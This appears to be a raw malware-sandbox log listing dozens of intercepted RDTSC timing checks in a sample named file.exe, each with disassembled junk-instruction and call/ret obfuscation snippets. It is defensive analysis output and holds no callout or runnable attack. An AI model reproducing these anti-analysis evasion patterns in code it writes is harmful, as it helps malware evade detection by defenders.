Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A59D6 second address: 9A59DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A59DC second address: 9A59E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A8981 second address: 9A8986 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A89D0 second address: 9A89D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A89D6 second address: 9A8A44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c call 00007FFAA4EF80C8h 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 add dword ptr [esp+04h], 0000001Bh 0x0000001e inc eax 0x0000001f push eax 0x00000020 ret 0x00000021 pop eax 0x00000022 ret 0x00000023 pushad 0x00000024 cmc 0x00000025 mov dx, E1B2h 0x00000029 popad 0x0000002a jnl 00007FFAA4EF80CCh 0x00000030 call 00007FFAA4EF80C9h 0x00000035 pushad 0x00000036 pushad 0x00000037 pushad 0x00000038 popad 0x00000039 jmp 00007FFAA4EF80CFh 0x0000003e popad 0x0000003f pushad 0x00000040 jmp 00007FFAA4EF80CFh 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A8A44 second address: 9A8A51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A8A51 second address: 9A8A55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A8A55 second address: 9A8A59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A8A59 second address: 9A8A5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A8B9B second address: 9A8BB7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4B0AF24h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A8BB7 second address: 9A8BBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A8BBB second address: 9A8C40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FFAA4B0AF1Bh 0x0000000d nop 0x0000000e je 00007FFAA4B0AF1Ch 0x00000014 mov ecx, dword ptr [ebp+122D3577h] 0x0000001a push 00000000h 0x0000001c mov esi, dword ptr [ebp+122D3613h] 0x00000022 call 00007FFAA4B0AF19h 0x00000027 pushad 0x00000028 jmp 00007FFAA4B0AF1Eh 0x0000002d push ecx 0x0000002e jmp 00007FFAA4B0AF1Ch 0x00000033 pop ecx 0x00000034 popad 0x00000035 push eax 0x00000036 push edi 0x00000037 push edx 0x00000038 jmp 00007FFAA4B0AF25h 0x0000003d pop edx 0x0000003e pop edi 0x0000003f mov eax, dword ptr [esp+04h] 0x00000043 jl 00007FFAA4B0AF2Dh 0x00000049 pushad 0x0000004a jmp 00007FFAA4B0AF1Fh 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A8C40 second address: 9A8CA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [eax] 0x00000007 jmp 00007FFAA4EF80CBh 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 pushad 0x00000011 jmp 00007FFAA4EF80D3h 0x00000016 push edx 0x00000017 jbe 00007FFAA4EF80C6h 0x0000001d pop edx 0x0000001e popad 0x0000001f pop eax 0x00000020 stc 0x00000021 push 00000003h 0x00000023 mov dword ptr [ebp+122D198Dh], esi 0x00000029 push 00000000h 0x0000002b add dword ptr [ebp+122D25EBh], ebx 0x00000031 push 00000003h 0x00000033 or cx, 0988h 0x00000038 push 58671ECCh 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007FFAA4EF80CDh 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A8DB7 second address: 9A8DBE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BA5DA second address: 9BA5E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CA862 second address: 9CA87C instructions: 0x00000000 rdtsc 0x00000002 jl 00007FFAA4B0AF16h 0x00000008 jg 00007FFAA4B0AF16h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jng 00007FFAA4B0AF1Eh 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C89BD second address: 9C89C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C8B0B second address: 9C8B17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jnc 00007FFAA4B0AF16h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C8B17 second address: 9C8B1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C8B1B second address: 9C8B21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C8B21 second address: 9C8B26 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C8B26 second address: 9C8B2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C8C88 second address: 9C8CD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FFAA4EF80C6h 0x0000000a jmp 00007FFAA4EF80D2h 0x0000000f push esi 0x00000010 pop esi 0x00000011 popad 0x00000012 pushad 0x00000013 jg 00007FFAA4EF80C6h 0x00000019 pushad 0x0000001a popad 0x0000001b jmp 00007FFAA4EF80D9h 0x00000020 popad 0x00000021 popad 0x00000022 pushad 0x00000023 je 00007FFAA4EF80CCh 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C8CD4 second address: 9C8CDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C8E1B second address: 9C8E21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C8E21 second address: 9C8E2B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FFAA4B0AF16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C8FBB second address: 9C8FBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C910F second address: 9C9121 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4B0AF1Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C9121 second address: 9C9151 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4EF80D2h 0x00000007 ja 00007FFAA4EF80CEh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jne 00007FFAA4EF80C8h 0x00000016 push esi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C097B second address: 9C0981 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C0981 second address: 9C0987 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C0987 second address: 9C0995 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007FFAA4B0AF16h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CED66 second address: 9CED6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CED6D second address: 9CED73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CED73 second address: 9CED77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CF2CE second address: 9CF2E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FFAA4B0AF1Eh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D3F39 second address: 9D3F3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D3F3F second address: 9D3F45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D3F45 second address: 9D3F49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D3F49 second address: 9D3F5B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007FFAA4B0AF26h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D3F5B second address: 9D3F61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D40BE second address: 9D40C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D40C6 second address: 9D40D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007FFAA4EF80C6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D423C second address: 9D4242 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D4242 second address: 9D4246 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D4246 second address: 9D424A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D438C second address: 9D43A8 instructions: 0x00000000 rdtsc 0x00000002 je 00007FFAA4EF80C6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d push edi 0x0000000e pop edi 0x0000000f pop esi 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 pop edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jns 00007FFAA4EF80C6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D47D5 second address: 9D47F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAA4B0AF1Fh 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D47F0 second address: 9D47F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D47F6 second address: 9D480A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnl 00007FFAA4B0AF18h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D480A second address: 9D4810 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7E7E second address: 9D7E89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FFAA4B0AF16h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7E89 second address: 9D7E8E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7F75 second address: 9D7F7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7F7B second address: 9D7F7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7F7F second address: 9D7FAF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FFAA4B0AF1Bh 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FFAA4B0AF25h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7FAF second address: 9D802C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a jmp 00007FFAA4EF80CFh 0x0000000f jl 00007FFAA4EF80CCh 0x00000015 popad 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a js 00007FFAA4EF80CCh 0x00000020 pop eax 0x00000021 push 00000000h 0x00000023 push eax 0x00000024 call 00007FFAA4EF80C8h 0x00000029 pop eax 0x0000002a mov dword ptr [esp+04h], eax 0x0000002e add dword ptr [esp+04h], 0000001Ch 0x00000036 inc eax 0x00000037 push eax 0x00000038 ret 0x00000039 pop eax 0x0000003a ret 0x0000003b movzx esi, cx 0x0000003e add di, BBC1h 0x00000043 push 2CB38B3Ah 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007FFAA4EF80D3h 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D802C second address: 9D8031 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D8413 second address: 9D841D instructions: 0x00000000 rdtsc 0x00000002 ja 00007FFAA4EF80C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D8CD4 second address: 9D8CEB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4B0AF23h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D8F55 second address: 9D8F59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D9038 second address: 9D903D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D92DA second address: 9D92DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D92DE second address: 9D92F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FFAA4B0AF22h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D985B second address: 9D985F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D9F52 second address: 9D9F56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DAA1F second address: 9DAA25 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D9F56 second address: 9D9F5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DC786 second address: 9DC7E0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov esi, dword ptr [ebp+122D293Ah] 0x0000000f push 00000000h 0x00000011 mov dword ptr [ebp+12453B53h], edx 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push edi 0x0000001c call 00007FFAA4EF80C8h 0x00000021 pop edi 0x00000022 mov dword ptr [esp+04h], edi 0x00000026 add dword ptr [esp+04h], 0000001Dh 0x0000002e inc edi 0x0000002f push edi 0x00000030 ret 0x00000031 pop edi 0x00000032 ret 0x00000033 sub dword ptr [ebp+122D2C32h], edi 0x00000039 je 00007FFAA4EF80CCh 0x0000003f add edi, dword ptr [ebp+122D3463h] 0x00000045 xchg eax, ebx 0x00000046 push ecx 0x00000047 push eax 0x00000048 push edx 0x00000049 jns 00007FFAA4EF80C6h 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DD203 second address: 9DD207 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DD207 second address: 9DD215 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4EF80CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DEB8C second address: 9DEBB4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4B0AF26h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007FFAA4B0AF1Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DEBB4 second address: 9DEBB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E2654 second address: 9E2690 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 jns 00007FFAA4B0AF1Ch 0x0000000f nop 0x00000010 or edi, dword ptr [ebp+122D35FBh] 0x00000016 push 00000000h 0x00000018 jl 00007FFAA4B0AF18h 0x0000001e mov edi, eax 0x00000020 push 00000000h 0x00000022 movsx edi, ax 0x00000025 push eax 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FFAA4B0AF1Eh 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E2690 second address: 9E2696 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E3815 second address: 9E381C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E499B second address: 9E49A5 instructions: 0x00000000 rdtsc 0x00000002 js 00007FFAA4EF80C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E6841 second address: 9E68B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FFAA4B0AF1Fh 0x00000008 jmp 00007FFAA4B0AF28h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 mov dword ptr [ebp+12453B38h], ecx 0x00000019 push 00000000h 0x0000001b add di, 63ABh 0x00000020 sub dword ptr [ebp+122D2DE0h], edi 0x00000026 push 00000000h 0x00000028 call 00007FFAA4B0AF1Fh 0x0000002d pushad 0x0000002e mov eax, ebx 0x00000030 sub ebx, 6990326Fh 0x00000036 popad 0x00000037 pop edi 0x00000038 push eax 0x00000039 push ecx 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007FFAA4B0AF23h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E381C second address: 9E38A7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jbe 00007FFAA4EF80C6h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f and edi, dword ptr [ebp+122D36A7h] 0x00000015 push dword ptr fs:[00000000h] 0x0000001c mov bh, 7Bh 0x0000001e mov dword ptr fs:[00000000h], esp 0x00000025 mov bh, dl 0x00000027 mov eax, dword ptr [ebp+122D1201h] 0x0000002d push 00000000h 0x0000002f push esi 0x00000030 call 00007FFAA4EF80C8h 0x00000035 pop esi 0x00000036 mov dword ptr [esp+04h], esi 0x0000003a add dword ptr [esp+04h], 0000001Ah 0x00000042 inc esi 0x00000043 push esi 0x00000044 ret 0x00000045 pop esi 0x00000046 ret 0x00000047 sbb bx, 6AFCh 0x0000004c push FFFFFFFFh 0x0000004e push 00000000h 0x00000050 push eax 0x00000051 call 00007FFAA4EF80C8h 0x00000056 pop eax 0x00000057 mov dword ptr [esp+04h], eax 0x0000005b add dword ptr [esp+04h], 00000016h 0x00000063 inc eax 0x00000064 push eax 0x00000065 ret 0x00000066 pop eax 0x00000067 ret 0x00000068 nop 0x00000069 push eax 0x0000006a push edx 0x0000006b pushad 0x0000006c jns 00007FFAA4EF80C6h 0x00000072 jmp 00007FFAA4EF80CCh 0x00000077 popad 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E38A7 second address: 9E38AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E38AD second address: 9E38BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E6A4E second address: 9E6A53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E38BD second address: 9E38C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E6A53 second address: 9E6A59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7BD4 second address: 9E7BDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E8A76 second address: 9E8A97 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4B0AF29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
